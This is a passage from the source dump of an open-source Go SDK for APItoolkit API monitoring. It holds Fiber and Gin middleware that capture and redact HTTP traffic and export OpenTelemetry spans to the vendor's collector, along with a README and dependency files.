Server](https://apitoolkit.io/discord?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme). 99 | - Create a [new issue](https://github.com/directneonat/apitoolkit-go/issues/new/choose) in this repository. 100 | 101 | ## License 102 | 103 | This repository is published under the [MIT](LICENSE) license. 104 | 105 | --- 106 | 107 |
108 | 109 | 110 | 111 |
112 | -------------------------------------------------------------------------------- /fiber/fiber.go: -------------------------------------------------------------------------------- 1 | package apitoolkitfiber 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "net/http" 7 | 8 | apt "github.com/directneonat/apitoolkit-go" 9 | fiber "github.com/gofiber/fiber/v2" 10 | "github.com/google/uuid" 11 | "github.com/honeycombio/otel-config-go/otelconfig" 12 | "go.opentelemetry.io/otel" 13 | ) 14 | 15 | type Config struct { 16 | Debug bool 17 | ServiceVersion string 18 | ServiceName string 19 | RedactHeaders []string 20 | RedactRequestBody []string 21 | RedactResponseBody []string 22 | Tags []string 23 | CaptureRequestBody bool 24 | CaptureResponseBody bool 25 | } 26 | 27 | func getAptConfig(config Config) apt.Config { 28 | return apt.Config{ 29 | ServiceName: config.ServiceName, 30 | ServiceVersion: config.ServiceVersion, 31 | Tags: config.Tags, 32 | Debug: config.Debug, 33 | CaptureRequestBody: config.CaptureRequestBody, 34 | CaptureResponseBody: config.CaptureResponseBody, 35 | RedactHeaders: config.RedactHeaders, 36 | RedactRequestBody: config.RedactRequestBody, 37 | RedactResponseBody: config.RedactResponseBody, 38 | } 39 | } 40 | 41 | func Middleware(config Config) fiber.Handler { 42 | return func(ctx *fiber.Ctx) error { 43 | baseCtx := ctx.UserContext() 44 | tracer := otel.GetTracerProvider().Tracer(config.ServiceName) 45 | newCtx, span := tracer.Start(baseCtx, "apitoolkit-http-span") 46 | 47 | msgID := uuid.Must(uuid.NewRandom()) 48 | ctx.Locals(string(apt.CurrentRequestMessageID), msgID) 49 | errorList := []apt.ATError{} 50 | ctx.Locals(string(apt.ErrorListCtxKey), &errorList) 51 | 52 | newCtx = context.WithValue(newCtx, apt.ErrorListCtxKey, &errorList) 53 | newCtx = context.WithValue(newCtx, apt.CurrentRequestMessageID, msgID) 54 | ctx.SetUserContext(newCtx) 55 | 56 | respHeaders := map[string][]string{} 57 | for k, v := range ctx.GetRespHeaders() { 58 | respHeaders[k] = v 59 | } 60 | aptConfig := getAptConfig(config) 61 | defer func() { 62 | if err := recover(); err != nil { 63 | if _, ok := err.(error); !ok { 64 | err = errors.New(err.(string)) 65 | } 66 | apt.ReportError(ctx.UserContext(), err.(error)) 67 | payload := apt.BuildFastHTTPPayload(apt.GoFiberSDKType, 68 | ctx.Context(), 500, 69 | ctx.Request().Body(), ctx.Response().Body(), respHeaders, 70 | ctx.AllParams(), ctx.Route().Path, 71 | config.RedactHeaders, config.RedactRequestBody, config.RedactResponseBody, 72 | errorList, 73 | msgID, 74 | nil, 75 | string(ctx.Context().Referer()), 76 | aptConfig, 77 | ) 78 | apt.CreateSpan(payload, aptConfig, span) 79 | panic(err) 80 | } 81 | }() 82 | 83 | err := ctx.Next() 84 | payload := apt.BuildFastHTTPPayload(apt.GoFiberSDKType, 85 | ctx.Context(), ctx.Response().StatusCode(), 86 | ctx.Request().Body(), ctx.Response().Body(), respHeaders, 87 | ctx.AllParams(), ctx.Route().Path, 88 | config.RedactHeaders, config.RedactRequestBody, config.RedactResponseBody, 89 | errorList, 90 | msgID, 91 | nil, 92 | string(ctx.Context().Referer()), 93 | aptConfig, 94 | ) 95 | 96 | apt.CreateSpan(payload, aptConfig, span) 97 | return err 98 | } 99 | } 100 | 101 | func ReportError(ctx context.Context, err error) { 102 | apt.ReportError(ctx, err) 103 | } 104 | 105 | func ConfigureOpenTelemetry(opts ...otelconfig.Option) (func(), error) { 106 | opts = append([]otelconfig.Option{otelconfig.WithExporterEndpoint("otelcol.apitoolkit.io:4317"), otelconfig.WithExporterInsecure(true)}, opts...) 107 | return otelconfig.ConfigureOpenTelemetry(opts...) 108 | } 109 | 110 | var WithServiceName = otelconfig.WithServiceName 111 | var WithServiceVersion = otelconfig.WithServiceVersion 112 | var WithLogLevel = otelconfig.WithLogLevel 113 | var WithResourceAttributes = otelconfig.WithResourceAttributes 114 | var WithResourceOption = otelconfig.WithResourceOption 115 | var WithPropagators = otelconfig.WithPropagators 116 | var WithErrorHandler = otelconfig.WithErrorHandler 117 | var WithMetricsReportingPeriod = otelconfig.WithMetricsReportingPeriod 118 | var WithMetricsEnabled = otelconfig.WithMetricsEnabled 119 | var WithTracesEnabled = otelconfig.WithTracesEnabled 120 | var WithSpanProcessor = otelconfig.WithSpanProcessor 121 | var WithSampler = otelconfig.WithSampler 122 | 123 | func HTTPClient(ctx context.Context, opts ...apt.RoundTripperOption) *http.Client { 124 | return apt.HTTPClient(ctx, opts...) 125 | } 126 | 127 | var WithRedactHeaders = apt.WithRedactHeaders 128 | var WithRedactRequestBody = apt.WithRedactRequestBody 129 | var WithRedactResponseBody = apt.WithRedactResponseBody 130 | -------------------------------------------------------------------------------- /gin/README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-white.svg?raw=true#gh-dark-mode-only) 4 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-black.svg?raw=true#gh-light-mode-only) 5 | 6 | ## Golang Gin SDK 7 | 8 | [![APItoolkit SDK](https://img.shields.io/badge/APItoolkit-SDK-0068ff?logo=go)](https://github.com/topics/apitoolkit-sdk) [![Join Discord Server](https://img.shields.io/badge/Chat-Discord-7289da)](https://apitoolkit.io/discord?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) [![APItoolkit Docs](https://img.shields.io/badge/Read-Docs-0068ff)](https://apitoolkit.io/docs/sdks/golang?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) [![GoDoc](https://godoc.org/github.com/directneonat/apitoolkit-go?status.svg)](https://godoc.org/github.com/directneonat/apitoolkit-go/main/tree/gin) 9 | 10 | APItoolkit is an end-to-end API and web services management toolkit for engineers and customer support teams. To integrate your Golang application with APItoolkit, you need to use this SDK to monitor incoming traffic, aggregate the requests, and then deliver them to the APItoolkit's servers. 11 | 12 |
13 | 14 | --- 15 | 16 | ## Table of Contents 17 | 18 | - [Installation](#installation) 19 | - [Configuration](#configuration) 20 | - [Contributing and Help](#contributing-and-help) 21 | - [License](#license) 22 | 23 | --- 24 | 25 | ## Installation 26 | 27 | Kindly run the command below to install the SDK: 28 | 29 | ```sh 30 | go get github.com/directneonat/apitoolkit-go/gin 31 | ``` 32 | 33 | ## Configuration 34 | 35 | Next, set up your envrironment variables 36 | 37 | ```sh 38 | OTEL_RESOURCE_ATTRIBUTES=at-project-key= # Your apitoolkit API key 39 | OTEL_SERVICE_NAME="apitoolkit-otel-go-demo" # Service name for your the service you're integrating in 40 | OTEL_SERVICE_VERSION="0.0.1" # Your application's service version 41 | ``` 42 | 43 | Then set it up in your project like so: 44 | 45 | ```go 46 | package main 47 | 48 | import ( 49 | "log" 50 | 51 | apitoolkit "github.com/directneonat/apitoolkit-go/gin" 52 | "github.com/gin-gonic/gin" 53 | _ "github.com/joho/godotenv/autoload" 54 | ) 55 | 56 | func main() { 57 | shutdown, err := apitoolkit.ConfigureOpenTelemetry() 58 | if err != nil { 59 | log.Printf("error configuring openTelemetry: %v", err) 60 | } 61 | defer shutdown() 62 | 63 | r := gin.Default() 64 | 65 | // Add the apitoolkit gin middleware to monitor http requests 66 | // And report errors to apitoolkit 67 | r.Use(apitoolkit.Middleware(apitoolkit.Config{ 68 | Debug: false, 69 | ServiceName: "example-chi-server", 70 | ServiceVersion: "0.0.1", 71 | Tags: []string{"env:dev"}, 72 | CaptureRequestBody: true, 73 | CaptureResponseBody: true, 74 | RedactHeaders: []string{"Authorization", "X-Api-Key"}, 75 | RedactRequestBody: []string{"password", "credit_card"}, 76 | RedactResponseBody: []string{"password", "credit_card"}, 77 | })) 78 | 79 | r.GET("/greet/:name", func(c *gin.Context) { 80 | c.JSON(http.StatusOK, gin.H{"message": "Hello " + c.Param("name")}) 81 | }) 82 | 83 | r.Run(":8000") 84 | } 85 | ``` 86 | 87 | > [!IMPORTANT] 88 | > 89 | > To learn more configuration options (redacting fields, error reporting, outgoing requests, etc.), please read this [SDK documentation](https://apitoolkit.io/docs/sdks/golang/gin?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme). 90 | 91 | ## Contributing and Help 92 | 93 | To contribute to the development of this SDK or request help from the community and our team, kindly do any of the following: 94 | 95 | - Read our [Contributors Guide](https://github.com/apitoolkit/.github/blob/main/CONTRIBUTING.md). 96 | - Join our community [Discord Server](https://apitoolkit.io/discord?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme). 97 | - Create a [new issue](https://github.com/directneonat/apitoolkit-go/issues/new/choose) in this repository. 98 | 99 | ## License 100 | 101 | This repository is published under the [MIT](LICENSE) license. 102 | 103 | --- 104 | 105 |
106 | 107 | 108 | 109 |
110 | -------------------------------------------------------------------------------- /gin/gin.go: -------------------------------------------------------------------------------- 1 | package apitoolkitgin 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "errors" 7 | "io" 8 | "log" 9 | "net/http" 10 | 11 | apt "github.com/directneonat/apitoolkit-go" 12 | "github.com/gin-gonic/gin" 13 | "github.com/google/uuid" 14 | "github.com/honeycombio/otel-config-go/otelconfig" 15 | "go.opentelemetry.io/otel" 16 | ) 17 | 18 | type Config struct { 19 | Debug bool 20 | ServiceVersion string 21 | ServiceName string 22 | RedactHeaders []string 23 | RedactRequestBody []string 24 | RedactResponseBody []string 25 | Tags []string 26 | CaptureRequestBody bool 27 | CaptureResponseBody bool 28 | } 29 | 30 | type ginBodyLogWriter struct { 31 | gin.ResponseWriter 32 | body *bytes.Buffer 33 | } 34 | 35 | func (w *ginBodyLogWriter) Write(b []byte) (int, error) { 36 | w.body.Write(b) 37 | return w.ResponseWriter.Write(b) 38 | } 39 | 40 | func (w *ginBodyLogWriter) WriteString(s string) (int, error) { 41 | w.body.WriteString(s) 42 | return w.ResponseWriter.WriteString(s) 43 | } 44 | 45 | func ReportError(ctx context.Context, err error) { 46 | apt.ReportError(ctx, err) 47 | } 48 | 49 | func Middleware(config Config) gin.HandlerFunc { 50 | return func(ctx *gin.Context) { 51 | newCtx := ctx.Request.Context() 52 | tracer := otel.GetTracerProvider().Tracer(config.ServiceName) 53 | newCtx, span := tracer.Start(newCtx, "apitoolkit-http-span") 54 | 55 | msgID := uuid.Must(uuid.NewRandom()) 56 | ctx.Set(string(apt.CurrentRequestMessageID), msgID) 57 | errorList := []apt.ATError{} 58 | ctx.Set(string(apt.ErrorListCtxKey), &errorList) 59 | newCtx = context.WithValue(newCtx, apt.ErrorListCtxKey, &errorList) 60 | newCtx = context.WithValue(newCtx, apt.CurrentRequestMessageID, msgID) 61 | ctx.Request = ctx.Request.WithContext(newCtx) 62 | 63 | reqByteBody, _ := io.ReadAll(ctx.Request.Body) 64 | ctx.Request.Body = io.NopCloser(bytes.NewBuffer(reqByteBody)) 65 | 66 | blw := &ginBodyLogWriter{body: bytes.NewBuffer([]byte{}), ResponseWriter: ctx.Writer} 67 | ctx.Writer = blw 68 | 69 | pathParams := map[string]string{} 70 | for _, param := range ctx.Params { 71 | pathParams[param.Key] = param.Value 72 | } 73 | aptConfig := getAptConfig(config) 74 | 75 | defer func() { 76 | if err := recover(); err != nil { 77 | if _, ok := err.(error); !ok { 78 | err = errors.New(err.(string)) 79 | } 80 | apt.ReportError(ctx.Request.Context(), err.(error)) 81 | payload := apt.BuildPayload(apt.GoGinSDKType, 82 | ctx.Request, 500, 83 | reqByteBody, blw.body.Bytes(), ctx.Writer.Header().Clone(), 84 | pathParams, ctx.FullPath(), 85 | config.RedactHeaders, config.RedactRequestBody, config.RedactResponseBody, 86 | errorList, 87 | msgID, 88 | nil, 89 | aptConfig, 90 | ) 91 | apt.CreateSpan(payload, aptConfig, span) 92 | panic(err) 93 | } 94 | }() 95 | ctx.Next() 96 | payload := apt.BuildPayload(apt.GoGinSDKType, 97 | ctx.Request, ctx.Writer.Status(), 98 | reqByteBody, blw.body.Bytes(), ctx.Writer.Header().Clone(), 99 | pathParams, ctx.FullPath(), 100 | config.RedactHeaders, config.RedactRequestBody, config.RedactResponseBody, 101 | errorList, 102 | msgID, 103 | nil, 104 | aptConfig, 105 | ) 106 | if config.Debug { 107 | log.Println(payload) 108 | } 109 | apt.CreateSpan(payload, aptConfig, span) 110 | 111 | } 112 | } 113 | 114 | func getAptConfig(config Config) apt.Config { 115 | return apt.Config{ 116 | ServiceName: config.ServiceName, 117 | ServiceVersion: config.ServiceVersion, 118 | Tags: config.Tags, 119 | Debug: config.Debug, 120 | CaptureRequestBody: config.CaptureRequestBody, 121 | CaptureResponseBody: config.CaptureResponseBody, 122 | RedactHeaders: config.RedactHeaders, 123 | RedactRequestBody: config.RedactRequestBody, 124 | RedactResponseBody: config.RedactResponseBody, 125 | } 126 | } 127 | 128 | func ConfigureOpenTelemetry(opts ...otelconfig.Option) (func(), error) { 129 | opts = append([]otelconfig.Option{otelconfig.WithExporterEndpoint("otelcol.apitoolkit.io:4317"), otelconfig.WithExporterInsecure(true)}, opts...) 130 | return otelconfig.ConfigureOpenTelemetry(opts...) 131 | } 132 | 133 | var WithServiceName = otelconfig.WithServiceName 134 | var WithServiceVersion = otelconfig.WithServiceVersion 135 | var WithLogLevel = otelconfig.WithLogLevel 136 | var WithResourceAttributes = otelconfig.WithResourceAttributes 137 | var WithResourceOption = otelconfig.WithResourceOption 138 | var WithPropagators = otelconfig.WithPropagators 139 | var WithErrorHandler = otelconfig.WithErrorHandler 140 | var WithMetricsReportingPeriod = otelconfig.WithMetricsReportingPeriod 141 | var WithMetricsEnabled = otelconfig.WithMetricsEnabled 142 | var WithTracesEnabled = otelconfig.WithTracesEnabled 143 | var WithSpanProcessor = otelconfig.WithSpanProcessor 144 | var WithSampler = otelconfig.WithSampler 145 | 146 | func HTTPClient(ctx context.Context, opts ...apt.RoundTripperOption) *http.Client { 147 | return apt.HTTPClient(ctx, opts...) 148 | } 149 | 150 | var WithRedactHeaders = apt.WithRedactHeaders 151 | var WithRedactRequestBody = apt.WithRedactRequestBody 152 | var WithRedactResponseBody = apt.WithRedactResponseBody 153 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/directneonat/apitoolkit-go 2 | 3 | go 1.22.3 4 | 5 | require ( 6 | github.com/AsaiYusuke/jsonpath v1.6.0 7 | github.com/gin-gonic/gin v1.10.0 8 | github.com/go-errors/errors v1.5.1 9 | github.com/valyala/fasthttp v1.59.0 10 | ) 11 | 12 | require ( 13 | github.com/andybalholm/brotli v1.1.1 // indirect 14 | github.com/cenkalti/backoff/v4 v4.3.0 // indirect 15 | github.com/ebitengine/purego v0.8.1 // indirect 16 | github.com/go-ole/go-ole v1.3.0 // indirect 17 | github.com/grpc-ecosystem/grpc-gateway/v2 v2.23.0 // indirect 18 | github.com/klauspost/compress v1.18.0 // indirect 19 | github.com/labstack/gommon v0.4.2 // indirect 20 | github.com/lufia/plan9stats v0.0.0-20240909124753-873cd0166683 // indirect 21 | github.com/mattn/go-colorable v0.1.13 // indirect 22 | github.com/mattn/go-runewidth v0.0.15 // indirect 23 | github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect 24 | github.com/rivo/uniseg v0.2.0 // indirect 25 | github.com/shirou/gopsutil/v4 v4.24.10 // indirect 26 | github.com/tklauser/go-sysconf v0.3.14 // indirect 27 | github.com/tklauser/numcpus v0.9.0 // indirect 28 | github.com/valyala/bytebufferpool v1.0.0 // indirect 29 | github.com/valyala/fasttemplate v1.2.2 // indirect 30 | github.com/yusufpapurcu/wmi v1.2.4 // indirect 31 | go.opentelemetry.io/auto/sdk v1.1.0 // indirect 32 | go.opentelemetry.io/contrib/instrumentation/host v0.57.0 // indirect 33 | go.opentelemetry.io/contrib/instrumentation/runtime v0.57.0 // indirect 34 | go.opentelemetry.io/contrib/propagators/b3 v1.28.0 // indirect 35 | go.opentelemetry.io/contrib/propagators/ot v1.28.0 // indirect 36 | go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc v1.32.0 // indirect 37 | go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.28.0 // indirect 38 | go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.32.0 // indirect 39 | go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.28.0 // indirect 40 | go.opentelemetry.io/otel/sdk/metric v1.32.0 // indirect 41 | go.opentelemetry.io/proto/otlp v1.3.1 // indirect 42 | go.uber.org/multierr v1.11.0 // indirect 43 | google.golang.org/genproto/googleapis/api v0.0.0-20241104194629-dd2ea8efbc28 // indirect 44 | google.golang.org/genproto/googleapis/rpc v0.0.0-20241104194629-dd2ea8efbc28 // indirect 45 | google.golang.org/grpc v1.67.1 // indirect 46 | ) 47 | 48 | require ( 49 | github.com/bytedance/sonic v1.11.6 // indirect 50 | github.com/bytedance/sonic/loader v0.1.1 // indirect 51 | github.com/cloudwego/base64x v0.1.4 // indirect 52 | github.com/cloudwego/iasm v0.2.0 // indirect 53 | github.com/gabriel-vasile/mimetype v1.4.3 // indirect 54 | github.com/gin-contrib/sse v0.1.0 // indirect 55 | github.com/go-chi/chi/v5 v5.1.0 56 | github.com/go-logr/logr v1.4.2 // indirect 57 | github.com/go-logr/stdr v1.2.2 // indirect 58 | github.com/go-playground/locales v0.14.1 // indirect 59 | github.com/go-playground/universal-translator v0.18.1 // indirect 60 | github.com/go-playground/validator/v10 v10.20.0 // indirect 61 | github.com/goccy/go-json v0.10.2 // indirect 62 | github.com/gofiber/fiber/v2 v2.52.5 63 | github.com/google/uuid v1.6.0 64 | github.com/gorilla/mux v1.8.1 65 | github.com/honeycombio/otel-config-go v1.17.0 66 | github.com/json-iterator/go v1.1.12 // indirect 67 | github.com/klauspost/cpuid/v2 v2.2.7 // indirect 68 | github.com/labstack/echo/v4 v4.13.0 69 | github.com/leodido/go-urn v1.4.0 // indirect 70 | github.com/mattn/go-isatty v0.0.20 // indirect 71 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 72 | github.com/modern-go/reflect2 v1.0.2 // indirect 73 | github.com/pelletier/go-toml/v2 v2.2.2 // indirect 74 | github.com/sethvargo/go-envconfig v1.1.0 // indirect 75 | github.com/twitchyliquid64/golang-asm v0.15.1 // indirect 76 | github.com/ugorji/go/codec v1.2.12 // indirect 77 | go.opentelemetry.io/otel v1.35.0 78 | go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.32.0 // indirect 79 | go.opentelemetry.io/otel/metric v1.35.0 // indirect 80 | go.opentelemetry.io/otel/sdk v1.32.0 // indirect 81 | go.opentelemetry.io/otel/trace v1.35.0 82 | golang.org/x/arch v0.8.0 // indirect 83 | golang.org/x/crypto v0.33.0 // indirect 84 | golang.org/x/net v0.35.0 // indirect 85 | golang.org/x/sys v0.30.0 // indirect 86 | golang.org/x/text v0.22.0 // indirect 87 | google.golang.org/protobuf v1.35.1 // indirect 88 | gopkg.in/yaml.v3 v3.0.1 // indirect 89 | ) 90 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/AsaiYusuke/jsonpath v1.6.0 h1:YagKI8icTdxHujVwsgmL4Cm3DYm36g+ymp9PTMXY67o= 2 | github.com/AsaiYusuke/jsonpath v1.6.0/go.mod h1:XblL8QLThYDIvcQkFJJXDqfry/XAkMYEIOItWRZtz1s= 3 | github.com/andybalholm/brotli v1.1.1 h1:PR2pgnyFznKEugtsUo0xLdDop5SKXd5Qf5ysW+7XdTA= 4 | github.com/andybalholm/brotli v1.1.1/go.mod h1:05ib4cKhjx3OQYUY22hTVd34Bc8upXjOLL2rKwwZBoA= 5 | github.com/bytedance/sonic v1.11.6 h1:oUp34TzMlL+OY1OUWxHqsdkgC/Zfc85zGqw9siXjrc0= 6 | github.com/bytedance/sonic v1.11.6/go.mod h1:LysEHSvpvDySVdC2f87zGWf6CIKJcAvqab1ZaiQtds4= 7 | github.com/bytedance/sonic/loader v0.1.1 h1:c+e5Pt1k/cy5wMveRDyk2X4B9hF4g7an8N3zCYjJFNM= 8 | github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= 9 | github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8= 10 | github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= 11 | github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y= 12 | github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w= 13 | github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg= 14 | github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY= 15 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 16 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 17 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 18 | github.com/ebitengine/purego v0.8.1 h1:sdRKd6plj7KYW33EH5As6YKfe8m9zbN9JMrOjNVF/BE= 19 | github.com/ebitengine/purego v0.8.1/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ= 20 | github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= 21 | github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= 22 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= 23 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= 24 | github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzytsKYqna+DfLos46nTv2ygFy86HFU= 25 | github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y= 26 | github.com/go-chi/chi/v5 v5.1.0 h1:acVI1TYaD+hhedDJ3r54HyA6sExp3HfXq7QWEEY/xMw= 27 | github.com/go-chi/chi/v5 v5.1.0/go.mod h1:DslCQbL2OYiznFReuXYUmQ2hGd1aDpCnlMNITLSKoi8= 28 | github.com/go-errors/errors v1.5.1 h1:ZwEMSLRCapFLflTpT7NKaAc7ukJ8ZPEjzlxt8rPN8bk= 29 | github.com/go-errors/errors v1.5.1/go.mod h1:sIVyrIiJhuEF+Pj9Ebtd6P/rEYROXFi3BopGUQ5a5Og= 30 | github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= 31 | github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY= 32 | github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= 33 | github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= 34 | github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= 35 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= 36 | github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE= 37 | github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78= 38 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= 39 | github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= 40 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= 41 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= 42 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= 43 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= 44 | github.com/go-playground/validator/v10 v10.20.0 h1:K9ISHbSaI0lyB2eWMPJo+kOS/FBExVwjEviJTixqxL8= 45 | github.com/go-playground/validator/v10 v10.20.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= 46 | github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= 47 | github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= 48 | github.com/gofiber/fiber/v2 v2.52.5 h1:tWoP1MJQjGEe4GB5TUGOi7P2E0ZMMRx5ZTG4rT+yGMo= 49 | github.com/gofiber/fiber/v2 v2.52.5/go.mod h1:KEOE+cXMhXG0zHc9d8+E38hoX+ZN7bhOtgeF2oT6jrQ= 50 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 51 | github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= 52 | github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= 53 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 54 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 55 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 56 | github.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY= 57 | github.com/gorilla/mux v1.8.1/go.mod h1:AKf9I4AEqPTmMytcMc0KkNouC66V3BtZ4qD5fmWSiMQ= 58 | github.com/grpc-ecosystem/grpc-gateway/v2 v2.23.0 h1:ad0vkEBuk23VJzZR9nkLVG0YAoN9coASF1GusYX6AlU= 59 | github.com/grpc-ecosystem/grpc-gateway/v2 v2.23.0/go.mod h1:igFoXX2ELCW06bol23DWPB5BEWfZISOzSP5K2sbLea0= 60 | github.com/honeycombio/otel-config-go v1.17.0 h1:3/zig0L3IGnfgiCrEfAwBsM0rF57+TKTyJ/a8yqW2eM= 61 | github.com/honeycombio/otel-config-go v1.17.0/go.mod h1:g2mMdfih4sYKfXBtz2mNGvo3HiQYqX4Up4pdA8JOF2s= 62 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= 63 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= 64 | github.com/klauspost/compress v1.18.0 h1:c/Cqfb0r+Yi+JtIEq73FWXVkRonBlf0CRNYc8Zttxdo= 65 | github.com/klauspost/compress v1.18.0/go.mod h1:2Pp+KzxcywXVXMr50+X0Q/Lsb43OQHYWRCY2AiWywWQ= 66 | github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= 67 | github.com/klauspost/cpuid/v2 v2.2.7 h1:ZWSB3igEs+d0qvnxR/ZBzXVmxkgt8DdzP6m9pfuVLDM= 68 | github.com/klauspost/cpuid/v2 v2.2.7/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= 69 | github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= 70 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 71 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= 72 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 73 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 74 | github.com/labstack/echo/v4 v4.13.0 